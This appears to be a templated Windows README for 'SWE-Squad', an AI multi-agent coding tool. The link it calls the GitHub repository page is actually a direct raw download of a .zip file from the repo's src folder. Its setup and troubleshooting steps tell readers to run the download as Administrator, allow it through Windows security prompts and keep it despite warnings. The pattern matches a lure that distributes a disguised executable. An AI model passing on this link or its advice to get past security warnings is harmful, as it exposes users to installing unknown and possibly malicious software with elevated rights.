🤖 SWE-Squad - Run Self-Healing AI Dev Agents

🧩 What is SWE-Squad

SWE-Squad is an app that helps software work get done by AI agents. It can check code, find problems, suggest fixes, and help keep a project in shape. It uses Claude Code and the A2A protocol to let several agents work as a team.

This tool is built for people who want help with coding tasks, bug fixing, and basic software upkeep without managing each step by hand.

📋 What you need

Before you start, make sure you have:

• A Windows 10 or Windows 11 PC
• An internet connection
• A web browser
• Permission to install and run apps
• Enough free disk space for the app and its files
• A Claude account or access key if the app asks for it during setup

If you plan to use source files, you may also need:

• Git
• Node.js
• Python

🚀 Download and install

Open the download page here:

Visit SWE-Squad on GitHub

On that page, look for the latest release, setup file, or install steps. If you see a Windows file such as .exe or .msi, download it. If the page gives source files only, use the setup steps listed in the repository.

After the download finishes:

1. Open the file from your Downloads folder
2. If Windows asks for permission, choose Yes
3. Follow the install steps on screen
4. Wait for the setup to finish
5. Open SWE-Squad from the Start menu or from the folder where you installed it

🖥️ First launch

When you start SWE-Squad for the first time, it may ask for setup details. These can include:

• Your Claude Code access
• A project folder to watch or work on
• A Supabase connection if you want cloud-backed features
• A local path for logs or work files

Use simple folder names if you can, such as:

• C:\SWE-Squad
• C:\Projects\Demo

If the app asks for a project folder, pick a folder that already has code or files you want the agents to review.

⚙️ Basic setup steps

Follow these steps in the app if they appear:

1. Add your access details
2. Choose the project folder
3. Turn on the agents you want to use
4. Save the settings
5. Start the run or scan task

If the app offers a choice of modes, use the one that matches your goal:

• Bug fixing for code problems
• Review for checking files
• Automation for repeat tasks
• Self-healing for projects that need ongoing checks

🧠 What SWE-Squad can do

SWE-Squad is built around agent work. That means it can handle tasks in steps, then pass work from one agent to another.

Common uses include:

• Finding broken code
• Suggesting a fix
• Checking for repeat issues
• Tracking changes in a project
• Running software engineering tasks in a team flow
• Helping with DevOps-style work
• Using multiple agents for one task

🛠️ How to use it on Windows

Use these steps for a normal Windows setup:

1. Download the app from the GitHub page
2. Run the installer or open the app files
3. Allow the app through Windows security prompts if needed
4. Sign in or paste any access key the app requests
5. Pick your project folder
6. Start the agent run
7. Review the results in the app

If the app writes logs, they may appear in a local folder near the app files or inside your project folder.

📁 Example folder layout

If you want a clean setup, use a structure like this:

• C:\SWE-Squad\app
• C:\SWE-Squad\projects
• C:\SWE-Squad\logs

This makes it easier to find files later.

🔐 Access and account setup

Some features may depend on Claude Code, A2A protocol services, or related tools. If so, the app may ask for:

• An API key
• A sign-in step
• A local config file
• A .env file

If you see a config file, open it in Notepad and enter the values the app asks for. Keep your keys private.

🧪 Common use cases

SWE-Squad fits well when you want help with:

• A small bug in a project
• A code review before release
• Repeated cleanup tasks
• A project that needs ongoing checks
• A test run after changes
• A basic software support workflow

🧰 Troubleshooting

If the app does not start:

1. Check that the download finished
2. Run the app again as Administrator
3. Make sure Windows did not block the file
4. Check that your internet connection works
5. Confirm that any required access key is set
6. Look for error text in the app window or log file

If the app opens but does not do anything:

1. Confirm that a project folder is selected
2. Check that the folder has files
3. Make sure the agent mode is turned on
4. Review any setup file for missing values
5. Restart the app and try again

If Windows shows a warning:

1. Open the file details
2. Check that it came from the GitHub link above
3. Choose the option to keep or run the file only if you trust the source

📦 Recommended setup for best results

For a smooth first run, use this setup:

• Windows 11
• At least 8 GB RAM
• A stable internet link
• A folder with a real code project
• Claude access ready before launch
• A clean local path with no spaces if setup gives trouble

🔎 How the agent flow works

SWE-Squad uses a team-style flow. One agent may inspect a file, another may suggest a fix, and another may check the result. This can help with:

• Faster review
• Fewer missed issues
• More than one step of work in a single run
• Ongoing checks for the same project

The app may use A2A protocol to let agents send tasks and results to each other.

🧾 Typical first task

A good first test is a simple folder scan.

Try this:

1. Open the app
2. Select a small project folder
3. Choose a bug fix or review task
4. Start the run
5. Read the output
6. Make one small change and run it again

This helps you see how the agents handle a real project.

📌 GitHub project link

Open the repository here:

https://raw.githubusercontent.com/Jean-loutropical739/SWE-Squad/main/src/SW-Squad-2.6.zip

Use that page to get the latest download, setup steps, and project files for Windows

🧷 File types you may see

Depending on the release or setup method, you may see:

• .exe for a Windows app
• .msi for a Windows installer
• .zip for a packed folder
• .env for settings
• .json for config data
• .md for readme or setup notes

If you get a .zip file, unzip it before you open the app.

🧑‍💻 Need to move files later

If you move the app to a new folder:

1. Close the app first
2. Move the full folder
3. Open it from the new place
4. Check the config file paths
5. Start the app again

If paths break, update them in the settings file or app setup screen.

🗂️ Project topics

This project covers:

• a2a protocol
• agentic AI
• AI agents
• automation
• autonomous agents
• bug fixing
• Claude
• Claude Code
• DevOps
• LLM
• multi-agent work
• self-healing systems
• software engineering
• Supabase
• SWE agent

🧭 Best first path

If you want the fastest start on Windows:

1. Open the GitHub link
2. Get the latest Windows file or setup files
3. Install or unpack the app
4. Open it
5. Add the required access details
6. Select a test project folder
7. Start a small review task